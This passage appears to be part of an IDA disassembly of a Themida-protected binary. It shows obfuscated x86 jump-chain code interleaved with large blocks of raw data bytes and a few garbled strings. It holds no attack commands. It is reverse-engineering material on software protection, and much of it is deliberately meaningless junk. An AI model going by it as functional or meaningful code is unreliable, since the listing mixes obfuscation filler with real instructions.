		dd 2943697Ch, 0C9C581C5h, 5843697Ch, 9CB68h, 243C8900h
		dd 332CE9h, 0DEF75800h,	19DDF681h, 0F6814872h, 0F508E015h
		dd 1693EE81h, 0EB810C60h, 64B21603h, 0FFDD3FE9h, 0E9E089FFh
		dd 773Fh, 8124348Bh, 4C4h, 1FE95100h, 5FFFFE8h,	74DA0909h
		dd 51E8015Dh, 654DE9h, 0C0ED8100h, 14AF457h, 0C0C581FDh
		dd 0E94AF457h, 0FFFFC877h, 9D1C77FFh, 24041158h, 0BFA7E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A62E:				; CODE XREF: Themida_:0054686Cj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_54DB09
; ---------------------------------------------------------------------------
		dd 5D2434FFh, 81E68956h, 4C6h, 4B95100h, 0E9000000h, 6BAh
		dd 2BF57h, 8D050000h, 2D512D57h, 3A792395h, 0FFCCDEE9h
		dd 0D8C581FFh, 891E247Bh, 0F1815DE9h, 24E776E2h, 1E21C181h
		dd 94E903B2h, 68000062h, 0FEh, 0E92434FFh, 0AEFh, 0E9240C8Bh
		dd 0FFFFDB70h, 34815553h, 0D92D4824h, 5B9DE91Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A6AA:				; CODE XREF: Themida_:005507D0j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	0FFFFFBFFh
		jmp	loc_5503BA
; ---------------------------------------------------------------------------


loc_54A6C1:				; CODE XREF: Themida_:00549B8Ej
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_54E258
; ---------------------------------------------------------------------------


loc_54A6CD:				; CODE XREF: Themida_:0054BFF3j
		push	dword ptr [esp]
		jmp	loc_5474E7
; ---------------------------------------------------------------------------


loc_54A6D5:				; CODE XREF: Themida_:00547669j
		push	esi
		mov	esi, edx
		jmp	loc_549E18
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 72h
		dd 81451953h, 0E154EDE6h, 0B3F68118h, 0E93DD149h, 0FFFFF802h
		dd 8904EC83h, 4832424h,	48F0424h, 68535224h, 5E1C2773h
		dd 0BAEB815Bh, 8126FE22h, 1E04BDF3h, 5BDA8937h,	4245401h
		dd 28B7E9h, 0BBE95800h,	5FFFFD0h, 4EA392Bh, 2DC82959h
		dd 776348EFh, 6CB6E9h, 31C68100h, 0E933693Ch, 0FFFFF6CCh
; ---------------------------------------------------------------------------


loc_54A744:				; CODE XREF: Themida_:0054C426j
		mov	eax, 4
		add	ecx, eax
		pop	eax
		jmp	loc_546644
; ---------------------------------------------------------------------------
		db 80h,	0F7h, 9Bh
		dd 3066B450h, 482C58E7h, 0B551F828h, 7CB65201h,	0C004EEC0h
		dd 0F68003EEh, 58FCE9D9h, 7D350000h, 83417037h,	148904ECh
		dd 0E9E28924h, 51D7h, 59C80159h, 0B60F66h, 20E95450h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A793:				; CODE XREF: Themida_:00547369j
		push	edi
		push	ecx
		jmp	loc_549A9F
; ---------------------------------------------------------------------------
		dw 555Fh
		dd 0FFF094E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A7A1:				; CODE XREF: Themida_:0054D205j
		sub	edx, 0F652E2C7h
		jmp	loc_54B15B
; ---------------------------------------------------------------------------


loc_54A7AC:				; CODE XREF: Themida_:005470D2j
		pop	eax
		mov	ebp, [esp]
		jmp	loc_54E955
; ---------------------------------------------------------------------------
		db 5Ah,	5Dh, 0E9h
		dd 7B0Ch
; ---------------------------------------------------------------------------


loc_54A7BC:				; CODE XREF: Themida_:0054AA3Bj
		mov	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_550574
; ---------------------------------------------------------------------------


loc_54A7C7:				; CODE XREF: Themida_:005466F5j
		push	edx
		jmp	loc_54CAB5
; ---------------------------------------------------------------------------


loc_54A7CD:				; CODE XREF: Themida_:005471B0j
		push	esi
		mov	esi, 33035047h
		xor	esi, 72413AE1h
		sub	ebp, esi
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_54E0D6
; ---------------------------------------------------------------------------
		db 5Dh,	83h, 0C2h
		dd 74FF5204h, 8F5A0424h, 248B2404h, 24040924h, 0C262E99Ch
		dd 34FFFFFFh, 24048B24h, 4C481h, 1BE90000h, 0BE000076h
		dd 0DB85AC7h, 0E959CE31h, 18E7h
; ---------------------------------------------------------------------------


loc_54A824:				; CODE XREF: Themida_:0054EDFEj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	edx, 3DEB135Dh
		or	edx, 11D1999h
		jmp	loc_549E44
; ---------------------------------------------------------------------------
		dd 34FFEA89h, 60DEE924h, 0CA290000h, 0A7BB5359h, 17F2979h
		dd 0C2815BDAh, 6BE90140h, 0EA81C201h, 6BE90140h, 1ED7B951h
		dd 39E953A9h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A86B:				; CODE XREF: Themida_:0054A934j
		pop	ecx
		sub	edi, 18785BD8h
		sub	edi, ebx
		add	edi, 18785BD8h
		jmp	loc_551A66
; ---------------------------------------------------------------------------
		db 0F6h
		dd 6BC280D2h, 0E995C280h, 0FFFFFB64h, 8904EC83h, 0EC81243Ch
		dd 4, 81242489h, 42404h, 3C8B0000h, 5D7BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A8AA:				; CODE XREF: Themida_:005512CBj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54F7F4
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0E9010000h, 83242C8Bh, 0E95504C4h, 622h, 9D1C77FFh
		dd 24041958h, 64F0E99Ch, 5AD0000h, 479C532Bh, 2FEDBD55h
		dd 0F5810547h, 37446F27h, 38E5F581h, 0E8011045h, 0FFD223E9h
		dd 48B66FFh, 0E0895024h, 4EC81h, 0B5E90000h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A917:				; CODE XREF: Themida_:005476E7j
		push	6631h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_551068
; ---------------------------------------------------------------------------


loc_54A92C:				; CODE XREF: Themida_:0054B3CDj
		add	ecx, 0D2A7E76h
		mov	edi, ecx
		jmp	loc_54A86B
; ---------------------------------------------------------------------------
		db 66h,	2Dh, 52h
		dd 3F68666Eh, 1C896678h, 92BB6624h, 0BA665245h,	81662B61h
		dd 663E25CAh, 0EA81664Ah, 5EE959C5h, 5200000Dh,	7C34E9h
		dd 2C38300h, 5C241C87h,	3040E9h, 55E08900h, 0C14DE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A97A:				; CODE XREF: Themida_:0054CB9Aj
		pop	edx
		and	eax, ebp
		jmp	loc_54B40F
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0C9BF5724h, 814F727Fh, 0F4042444h, 12FFA3Dh,	5704247Ch
		dd 3DF4BE56h, 0F7892FFAh, 0FFF77FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A9A5:				; CODE XREF: Themida_:00550D10j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54C401
; ---------------------------------------------------------------------------
		db 56h,	50h, 68h
		dd 260355F8h, 0E924048Bh, 6FFAh, 4240483h, 0E9240C8Bh
		dd 0FFFFC399h
; ---------------------------------------------------------------------------


loc_54A9D4:				; CODE XREF: Themida_:0054BB72j
		add	esp, 4
		jmp	loc_5505AC
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 2EB81h, 0EC810000h
		dd 4, 0FF241C89h, 5B042474h, 8B24048Fh,	89662424h, 0BCE9241Ch
		dd 66FFFFCBh, 68240C8Bh, 3BFBh,	54242C89h, 13ECE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AA22:				; CODE XREF: Themida_:0054982Aj
		pop	ecx
		xor	ecx, 73731AF2h
		sub	ecx, 75FB65E9h
		sub	ecx, 93BAAF15h
		xor	ecx, 4DA74A63h
		jmp	loc_54A7BC
; ---------------------------------------------------------------------------
		dd 0E13AE9ACh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AA46:				; CODE XREF: Themida_:0055186Bj
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_548B26
; ---------------------------------------------------------------------------
		db 5Eh
		dd 5AD6015Ah, 8102E6C1h, 8E97FAC6h, 22B951DCh, 29769100h
		dd 2B0559C8h, 13BA95Ah,	5A2B2DF0h, 22053BA9h, 5E769100h
		dd 31240433h, 4332404h,	0F665C24h, 9C2404B3h, 0FFBB44E9h
		dd 2434FFFFh, 0B4FE959h, 0D0010000h, 4EC81h, 19E90000h
		dd 0BAFFFFE8h, 0DB7C8BD4h, 315AD101h, 6147E9CBh, 0EF010000h
		dd 57C8C781h, 2C8B1C3Fh, 4C48324h, 0E9243C87h, 6EEEh
; ---------------------------------------------------------------------------


loc_54AACC:				; CODE XREF: Themida_:0054F2BFj
		sub	ebx, 297F16B0h
		jmp	loc_54902B
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 240C335Ch, 33240C31h
		dd 815C240Ch, 2ECh, 14896600h, 246F6824h, 4890000h, 0CAB15124h
		dd 0FFD331E9h, 240C31FFh, 5258E9h, 4C18100h, 83000000h
		dd 0C8704C1h, 83525C24h, 0C8904ECh, 0B5515024h,	59E88885h
		dd 6858C588h, 0F15h, 88240489h,	58C688E8h, 3C64E9h
		db 0
; ---------------------------------------------------------------------------


loc_54AB45:				; CODE XREF: Themida_:0054EC6Ej
		push	5AD4h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 10B840CFh
		or	edx, 3FE369C8h
		add	edx, 0FFFFFFFFh
		or	edx, 79D617B3h
		push	ecx
		mov	ecx, 319C5644h
		sub	edx, ecx
		pop	ecx
		jmp	loc_548372
; ---------------------------------------------------------------------------


loc_54AB78:				; CODE XREF: Themida_:0054FC49j
		pop	ebp
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_54B6EB
; ---------------------------------------------------------------------------
		dw 0C189h
		dd 0C4F18158h, 0C11CE745h, 875105E1h, 0D7F7243Ch, 59243C87h
		dd 4E38E181h, 60E9125Ch, 8100003Fh, 8272E7F1h, 55D9F747h
		dd 974FFFBDh, 0E9D5F765h, 0FFFFC18Bh, 281681B8h, 0FE8B2D5Ah
		dd 0C509E671h, 8124048Bh, 4C4h,	0A5F58100h, 0E91F8760h
		dd 5A9Bh, 841D1DB9h, 9E9815Ah, 51DEE4E8h, 0FFCF69E9h, 20B951FFh
		dd 1000000h, 57DBE9F9h,	0EC810000h, 4, 89241C89h, 0D2C2E9E3h
		dd 815BFFFFh, 4ECh, 6673E900h, 8F580000h, 0C8E92404h, 66000067h
		dd 0B5240C89h, 3810E94Eh, 0F0280000h, 0E924148Bh, 82Fh
		dd 68241C89h, 5C81h, 81242489h,	42404h,	34FF0000h, 62CEE924h
		dd 8B590000h, 89572414h, 4C781E7h, 0E9000000h, 0FFFFE8AFh
		dd 0B7241C89h, 4F780A9h, 3181E9h
		db 0
; ---------------------------------------------------------------------------


loc_54AC6D:				; CODE XREF: Themida_:00550390j
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 463C309Dh
		add	ecx, 31C642E1h
		or	ecx, 421941B5h
		push	ebx
		mov	ebx, offset byte_412A83
		jmp	loc_550F76
; ---------------------------------------------------------------------------


loc_54AC9D:				; CODE XREF: Themida_:00551314j
		pop	eax
		push	eax
		jmp	loc_548493
; ---------------------------------------------------------------------------
		dd 0AB0F665Ch, 0E99C2404h, 0FFFFB925h
; ---------------------------------------------------------------------------


loc_54ACB0:				; CODE XREF: Themida_:0054BBFEj
		push	edi
		mov	edi, esp
		jmp	loc_55296D
; ---------------------------------------------------------------------------
		dd 4EC81h, 24890000h, 24048124h, 4, 0E951525Fh,	1609h
		dd 1A7E6858h, 0C890000h, 6E406824h, 24890000h, 24048124h
		dd 4, 6BB4E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54ACEE:				; CODE XREF: Themida_:0054FB66j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		push	edx
		push	ebx
		mov	ebx, 4488671Ah
		jmp	loc_54C3EF
; ---------------------------------------------------------------------------
		dw 0E180h
		dd 4F58E915h, 0CE010000h, 83240C8Bh, 0E95604C4h, 3ED2h
; ---------------------------------------------------------------------------


loc_54AD20:				; CODE XREF: Themida_:0054764Ej
		mov	[esp], ecx
		jmp	loc_550EFA
; ---------------------------------------------------------------------------
		dd 5AE9C301h, 81000033h, 4C3h, 74FF5300h, 0D7E90424h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AD3F:				; CODE XREF: Themida_:0054BF3Aj
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	6768h
		mov	[esp], eax
		xchg	esi, [esp]
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		dw 2E2Dh
		dd 1614A4Ch, 0B85058C2h, 3D73285Ah, 0BE71560Dh,	53D8F753h
		dd 0D50F7ABBh, 0E776E92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AD7A:				; CODE XREF: Themida_:0054E50Bj
		sub	edx, edi
		jmp	loc_54D49B
; ---------------------------------------------------------------------------
		db 53h,	68h, 6Eh
		dd 5B38A930h, 0BCC1F381h, 0E953E7A1h, 0FFFFCEADh
; ---------------------------------------------------------------------------


loc_54AD94:				; CODE XREF: Themida_:00548D68j
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	7EE8h
		mov	[esp], ebp
		push	esi
		push	71D6h
		jmp	loc_54E70D
; ---------------------------------------------------------------------------


loc_54ADBA:				; CODE XREF: Themida_:00551EBEj
		push	ecx
		mov	ecx, 3A25680Eh
		add	ecx, 0D8DD99B6h
		sub	eax, ecx
		jmp	loc_547E88
; ---------------------------------------------------------------------------
		db 56h,	51h, 0E9h
		dd 0FFFFC01Fh, 2E10E681h, 0F68136F9h, 1EBF22B3h, 315EF131h
		dd 6DCFE9C8h, 33660000h, 31662434h, 68662434h, 89662800h
		dd 31662434h, 33662414h, 31662414h, 0F7662414h,	286866D2h
		dd 0EFF5E94Ch, 0C8BFFFFh, 4C48124h, 0E9000000h,	0FFFFB7B5h
		dd 0ADCB8166h, 0F3816600h, 816617B4h, 6629A4E3h, 6606EBC1h
		dd 6A1CCB81h, 0B8665066h, 38E9D400h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AE43:				; CODE XREF: Themida_:0054B85Bj
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1B6A2340h
		sub	edx, 0CB480DE1h
		jmp	loc_550D2A
; ---------------------------------------------------------------------------
		dw 0DBF7h
		dd 25B8CB81h, 0F38166E9h, 79E91C61h, 4591E381h,	0EB815F83h
		dd 1F02018Ch, 815BDA01h, 4C2h, 24148700h, 5B3E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AE9A:				; CODE XREF: Themida_:0054F4F8j
		sub	dh, 25h
		add	dh, bh
		add	dh, 25h
		pop	ebx
		xor	al, dh
		mov	edx, [esp]
		push	edi
		jmp	loc_547745
; ---------------------------------------------------------------------------


loc_54AEAE:				; CODE XREF: Themida_:00548012j
		push	eax
		jmp	loc_548777
; ---------------------------------------------------------------------------


loc_54AEB4:				; CODE XREF: Themida_:0054F3D3j
		push	edi
		mov	edi, 137A66EEh
		xor	ebx, edi
		mov	edi, [esp]
		jmp	loc_547D7C
; ---------------------------------------------------------------------------
		dd 4BE5657h, 89000000h,	0FE015EF7h, 0A2BD555Fh,	4D24290Ah
		dd 3F3BC581h, 0E5810B1Ch, 2A23DF5h, 17ED814Dh, 81680332h
		dd 32848C5h, 5DEE0166h,	63B8E956h, 2BD0000h, 1000000h
		dd 242C8BE9h, 4C481h, 0C870000h, 65E95C24h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AF13:				; CODE XREF: Themida_:0054912Dj
		push	ecx
		push	ebx
		mov	ebx, 1D1301BEh
		sub	ebx, 0D60DBED9h
		mov	ecx, ebx
		pop	ebx
		shr	ecx, 1
		xor	ecx, 5D976D47h
		neg	ecx
		add	ecx, 7EF0895Dh
		sub	ebx, ecx
		pop	ecx
		mov	ecx, ebx
		pop	ebx
		jmp	loc_549FFC
; ---------------------------------------------------------------------------


loc_54AF3E:				; CODE XREF: Themida_:00550C85j
		mov	[esp], eax
		jmp	loc_5470CA
; ---------------------------------------------------------------------------
		dw 95BFh
		dd 13A7923h, 8D2D5FF8h,	0FF512D57h, 40E92434h, 89000023h
		dd 0E9512404h, 0FFFFDBA7h, 2F34E2BBh, 87CB8177h, 811DC31Eh
		dd 7856C5EBh, 5BD9298Fh, 159CD29h, 242C8BEFh, 8704C483h
		dd 94E9243Ch, 8B000017h, 0C481242Ch, 4,	3DD0B951h, 0E9496E59h
		dd 427Eh
; ---------------------------------------------------------------------------


loc_54AFA0:				; CODE XREF: Themida_:0054F908j
		push	esi
		pop	ebp
		pop	esi
		sub	edi, ebp
		jmp	loc_546A1E
; ---------------------------------------------------------------------------
		dw 8F64h
		dd 0CA59E902h, 2BEFFFFh, 81000000h, 300F9CE9h, 83F10117h
		dd 148904ECh, 2A35BA24h, 0D2F76F56h, 0AB0EA81h,	0E2C17B98h
		dd 4CF28103h, 0E9BFBE57h, 0FFFFE12Ch, 0E924048Fh, 0FFFFCA64h
		dd 8B241487h, 0C892424h, 0E444E924h, 29BAFFFFh,	2138673Dh
		dd 0F1815AD1h, 108C4F43h, 57E1E9h, 54565800h, 4C6815Eh
		dd 50000000h, 5BBAE9h, 24048F00h, 3122E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B022:				; CODE XREF: Themida_:0054980Bj
		and	edx, 0FC1510Dh
		push	ebx
		mov	ebx, 145FC8h
		jmp	loc_547358
; ---------------------------------------------------------------------------
		db 81h
		dd 1C5h, 0BB535600h, 557B7798h,	0E95BDE89h, 55F6h, 81242C8Bh
		dd 4C4h, 0EC835500h, 24348904h,	6D343DBEh, 0D79FE97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B062:				; CODE XREF: Themida_:005485CBj
		sub	ebx, 630165E2h
		jmp	loc_550901
; ---------------------------------------------------------------------------


loc_54B06D:				; CODE XREF: Themida_:005478C0j
		pop	esi
		mov	esi, edi
		pop	edi
		xor	esi, ebp
		pop	ebp
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_54B47F
; ---------------------------------------------------------------------------
aLVsjh		db '▀,$VИ├H',0
		db 0
; ---------------------------------------------------------------------------


loc_54B087:				; CODE XREF: Themida_:005514FBj
		add	dword ptr [esp], 4
		pop	ecx
		push	esi
		mov	esi, 4
		sub	ecx, 7E8719Fh
		add	ecx, esi
		add	ecx, 7E8719Fh
		pop	esi
		push	eax
		mov	eax, 2
		add	ecx, eax
		pop	eax
		xor	ecx, [esp]
		jmp	loc_54E541
; ---------------------------------------------------------------------------
		db 0BEh, 82h, 28h
		dd 0CE816EABh, 7BA61CF7h, 0DE9DEF7h, 51FFFFFDh,	42C5E9h
		dd 240C8900h, 0ED8068B5h, 4ACFE9F0h, 51520000h,	27B368h
		dd 0CF54E900h, 1C8BFFFFh, 4C48324h, 405h, 24048700h, 24248Bh
		dd 0E95966C8h, 62FCh, 1246486h,	6486D4F6h, 59660124h, 8B66EA88h
		dd 0C483240Ch, 6DB15102h, 0FFB8BEE9h, 73F0BBFFh, 0D3F77B6Dh
		dd 0C1D3F74Bh, 0E3C105EBh, 0DCC38107h, 816D6080h, 2C0DB1F3h
		dd 3E3C147h, 3881CB81h,	0CB811E16h, 76901C29h, 1BC381h
		dd 0C7810029h, 5E7E4915h, 7E9DF01h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B15B:				; CODE XREF: Themida_:0054A7A7j
		mov	[edi+20h], edx
		pop	edx
		shr	dword ptr [edi+20h], 5
		shr	dword ptr [edi+20h], 5
		xor	dword ptr [edi+20h], 6DC91AFEh
		jmp	loc_548903
; ---------------------------------------------------------------------------
aSBWd1Sg	db 9,'И]│а&wd]1кИ┐]',0
		dw 5B00h
		dd 60E9h, 241C8B00h, 81E18951h,	4C1h, 4C18100h,	87000000h
		dd 575C240Ch, 0FFBC32E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B1A5:				; CODE XREF: Themida_:00546F79j
		add	ebp, 1EF14FE4h
		sub	ebp, ecx
		jmp	loc_54DD30
; ---------------------------------------------------------------------------
		dw 0E6C0h
		dd 688EE902h, 0C890000h, 0E5685224h, 0E964D461h, 5094h
		dd 40B3BE56h, 0B0E959F8h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B1D3:				; CODE XREF: Themida_:00548C6Cj
		mov	esp, [esp]
		push	7E85h
		mov	[esp], ebp
		push	esi
		jmp	loc_54FD3F
; ---------------------------------------------------------------------------
		dd 0FFB3ECE9h, 0E68956FFh, 4C681h, 0C6830000h, 24348704h
		dd 1C5F215Ch, 5B2434FFh, 4C19E9h, 4C48300h, 27268h, 24048900h
		dd 0FFEC7CE9h, 0C9E95CFFh, 89FFFFDBh, 0C0F5E9E3h, 0E681FFFFh
		dd 44D864C3h, 8106E6C1h, 0AB0582F6h, 48EA817Ch,	81692E3Ch
		dd 790947C2h, 81F22904h, 790947EAh, 0A6BB5304h,	0C1340A5Ah
		dd 0B85003E3h, 0C8DB6718h, 158C301h, 0E95E5BDAh, 0FFFFDB0Dh
; ---------------------------------------------------------------------------


loc_54B260:				; CODE XREF: Themida_:0054C710j
		mov	esi, 4
		add	ecx, esi
		jmp	loc_54E769
; ---------------------------------------------------------------------------
		dd 27240481h, 297AB729h, 2C812404h, 0B7292724h,	2CD8687Ah
		dd 1C890000h, 0BEB95124h, 89361C20h, 240C8BCBh,	4C481h
		dd 0A1E90000h, 0E9000057h, 0FFFFB335h, 0E9242C33h, 6E8Eh
		dd 1A9CE958h, 0CE010000h, 0FEEE8159h, 0E904EEE5h, 605Dh
		dd 0E92434FFh, 0B12h
; ---------------------------------------------------------------------------


loc_54B2C4:				; CODE XREF: Themida_:0054FE60j
		mov	edi, eax
		push	ebp
		push	esi
		mov	esi, edi
		mov	ebp, esi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		jmp	loc_548B3A
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D259669Dh, 0E99C2414h, 0FFFFB2F1h, 6DF5CA81h, 1CE9481Eh
		dd 0B5000050h, 0B9C58060h, 0D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B2F9:				; CODE XREF: Themida_:0054E2F5j
		and	eax, ecx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_548AA5
; ---------------------------------------------------------------------------


loc_54B309:				; CODE XREF: Themida_:0054DD36j
		pop	ecx
		xor	esi, ebp
		jmp	loc_54BF7F
; ---------------------------------------------------------------------------
aCIUS2i		db 'CяКаЦ',8,'И2I',0
		align 4
		dd 240C8B66h, 2A90E955h, 0C7810000h, 0A8334AFFh, 4E5FFE89h
		dd 15CEE81h, 814E0616h,	0B9E014C6h, 5EF1315Dh, 0C159CB89h
		dd 0F38107EBh, 556C3106h, 0E05FE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B352:				; CODE XREF: Themida_:0054F48Dj
		or	ebp, ecx
		pop	ecx
		jmp	loc_54BCF5
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 4EC8104h, 0E9000000h, 62DCh,	31242C33h, 2C33242Ch, 24248B24h
		dd 6348E952h, 89520000h, 4C281E2h, 81000000h, 4EAh, 24143300h
		dd 33241431h, 0C9E92414h, 5AFFFFD8h, 0B62C181h,	12E947ADh
		dd 8BFFFFBEh, 0C483243Ch, 0A843504h, 0D8F74421h, 5677C35h
		dd 0E13CE928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B3BA:				; CODE XREF: Themida_:005509F9j
		pop	ecx
		push	ecx
		inc	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 5AFC20BCh
		not	ecx
		jmp	loc_54A92C
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 80EB0066h, 11E966C3h, 0FF000050h, 3DE92434h,	56000035h
		dd 0B879A1BEh, 3E6C179h, 5CECF681h, 0F74E47D5h,	0F7564ED6h
		dd 0E95E2414h, 74C9h
; ---------------------------------------------------------------------------


loc_54B404:				; CODE XREF: Themida_:0054EF9Bj
		add	esp, 4
		jmp	loc_54DB8B
; ---------------------------------------------------------------------------


loc_54B40F:				; CODE XREF: Themida_:0054A97Dj
		pop	ebp
		push	ecx
		mov	ecx, 1571641Eh
		or	eax, ecx
		pop	ecx
		sub	eax, 0FFFFFFFFh
		xor	eax, 1D7164A0h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, eax
		mov	edi, esi
		mov	esi, [esp]
		jmp	loc_551CD2
; ---------------------------------------------------------------------------
		db 50h,	5Dh, 8Bh
		dd 0C4832404h, 1C6F0904h, 6F5AE9h, 241C8700h, 0FFE1C2E9h
		dd 8E1C1FFh, 0B86FE956h, 0C89FFFFh, 2454F624h, 35E95901h
		dd 8100002Fh, 4C4h, 50516600h, 1A4FE9h,	0A4EB8100h, 4B3D2E09h
		dd 94E9E3D1h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B47F:				; CODE XREF: Themida_:0054B079j
		push	eax
		push	esp
		jmp	loc_54EDAD
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 20F77355h, 0E95BDA89h, 0FFFFF8EDh
; ---------------------------------------------------------------------------


loc_54B494:				; CODE XREF: Themida_:0054D08Aj
		mov	edi, ebx
		jmp	loc_54EE19
; ---------------------------------------------------------------------------
		db 89h
		dd 89E959CAh, 81FFFFE8h, 0AD242Ch, 2C811222h, 873E724h
		dd 242C8173h, 60735064h, 81240401h, 50642404h, 0A4686073h
		dd 89000018h, 0E7BE2434h, 1730873h, 0E9042474h,	0FFFFB4A2h
		dd 32190BBBh, 5BD93117h, 791EBD55h, 88E96EE9h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B4EB:				; CODE XREF: Themida_:00552256j
		pop	ebx
		add	ebp, ecx
		jmp	loc_5516B3
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 582434FFh,	4C481h,	48F0000h, 24248B24h, 24048B66h
		dd 0B514E955h, 0CC05FFFFh, 0E90DCF15h, 992h, 5EA7EA81h
		dd 0F28104F6h, 42B3ECE1h, 815AD531h, 954B6FEAh,	81EA0115h
		dd 954B6FC2h, 0F2AFE915h, 0BE56FFFFh, 7675489Dh, 16A1E681h
		dd 0E6C106D0h, 86C68105h, 0C15FD903h, 0F68108E6h, 0A6509750h
		dd 55EF001h, 0DD0D4EF4h, 1B07E9h, 86C8FE00h, 86D5F6E8h
		dd 30732CE8h, 48B66C7h,	2C48124h, 4000000h, 2CF80004h
		dd 68665B04h, 89665DE8h, 0EC832414h, 241C8904h,	0BA6870B7h
		dd 8900000Fh, 87B3241Ch, 0FFC63CE9h, 0C8B66FFh,	0E9545724h
		dd 0FFFFCEFBh, 0F66F1F6h, 6866CCB6h, 89667DBDh,	0F66240Ch
		dd 5166C8B6h, 725FE99Ch, 0B90000h, 21000002h, 2434FFC8h
		dd 0E5CE9h
		db 0
; ---------------------------------------------------------------------------


loc_54B5D9:				; CODE XREF: Themida_:00546650j
		sub	eax, edx
		pop	edx
		jmp	loc_54F891
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0EE9h, 0D7C6800h, 34890000h,	0A6E95424h, 0FFFFFFD0h
		dd 1C8B2434h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h
		dd 4C481h, 0C4830000h, 0E1B65204h, 8072E680h, 0CE80FFC6h
		dd 66CEFE11h, 2801B753h, 805B66FEh, 0F32827EBh,	0FE81B252h
		dd 566EE9CAh, 58540000h, 8904EC83h, 4BE2434h, 5000000h
		dd 36291845h, 452DF001h, 5E362918h, 27AE9h
		db 0
; ---------------------------------------------------------------------------


loc_54B65D:				; CODE XREF: Themida_:0054848Ej
		sub	edx, 3F8263EDh
		jmp	loc_5465D5
; ---------------------------------------------------------------------------
aSir		db 'Ё>ИКR',0
		db 0
; ---------------------------------------------------------------------------


loc_54B66F:				; CODE XREF: Themida_:00550554j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_551F7E
; ---------------------------------------------------------------------------
aIZs		db '┴яZИщ[',0
		align 2
aY		db 'Y',0
		dd 0C38058E3h, 19B1516Bh, 0FFE254E9h, 0DEC181FFh, 8B3F2170h
		dd 0E9572404h, 0FFFFF433h, 0F63DB252h, 63E280D2h, 8050CA80h
		dd 0EC810FF2h, 4, 69DBE9h, 0E2816600h, 816668D9h, 667452C2h
